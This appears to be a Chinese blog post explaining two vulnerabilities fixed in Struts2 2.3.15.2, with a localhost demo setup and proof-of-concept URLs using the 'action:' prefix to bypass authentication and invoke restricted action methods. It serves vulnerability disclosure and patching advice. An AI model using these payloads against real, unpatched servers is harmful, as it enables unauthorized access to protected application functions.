struts2最新更新的2.3.15.2版本的修复的两处漏洞

漏洞概述:
身份认证绕过漏洞和任意方法调用漏洞。
漏洞影响:
配置了struts2身份认证的应用都有可能受到影响
漏洞详情:

可以先参考今天轻瑶发布的struts2更新日志。
http://struts.apache.org/release/2.3.x/docs/version-notes-23152.html

主要更新了如下两点:
Broken Access Control Issue fixed
Dynamic Method Invocation set to false by default
看描述:第一点是权限控制的漏洞,第二点是动态方法调用默认关闭。官方同时还给出了两个cve,但是都没有给出漏洞详情。吸取了上次的教训,:)

先说第一点:
下载struts2的源码作对比,主要还是更新了DefaultActionMapper这个类,详情如图
[img]http://dl2.iteye.com/upload/attachment/0090/8558/03a6e04e-e284-306f-bd7a-7d9c0ee7b047.jpg[/img]
通过这个diff,可以猜出漏洞的利用方式。
如下例子,通过jetty和struts配置的一个权限控制绕过的例子。
首先在web.xml中配置HelloWorld.action的访问,只有dingo身份的用户才可以访问。
<security-constraint>
<web-resource-collection>
<web-resource-name>dingo</web-resource-name>
<url-pattern>/example/HelloWorld.action</url-pattern>
</web-resource-collection>
<auth-constraint>
<role-name>dingo</role-name>
</auth-constraint>
</security-constraint>

同时认证采用了jetty的Basic认证。
<login-config>
<auth-method>BASIC</auth-method>
<realm-name>UserBasic Authentication</realm-name>
</login-config>

jetty中配置了用户名和密码。

fuck=fuckme,dingo


正常情况下,当我们启动应用访问HelloWorld.action的时候,会弹出身份验证框:

[img]http://dl2.iteye.com/upload/attachment/0090/8560/d5f825bf-b607-3061-9aad-c0c391aba461.jpg[/img]
输入用户名密码:fuck fuckme,即可显示内容。

但是当我们直接采用如下的url访问时,身份验证直接被绕过了。

http://127.0.0.1:8080/struts2-blank/example/Login.action?action:HelloWorld

[img]http://dl2.iteye.com/upload/attachment/0090/8562/adb23471-e618-31b6-b7af-969079c84399.jpg[/img]


接着是第二点:
直接通过远程方法调用,也可以执行没有经过授权的action中的受限方法,比如HelloWorld.action中的:
public void fuck(){
System.out.println("fuckyou");
}


通过下列url,也可以执行:
http://127.0.0.1:8080/struts2-blank/example/Login.action?action:HelloWorld!fuck

[img]http://dl2.iteye.com/upload/attachment/0090/8564/a61b0a1d-ded6-3a8f-b82d-b806458a39a9.jpg[/img]


漏洞修复:
升级struts到最新版本
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值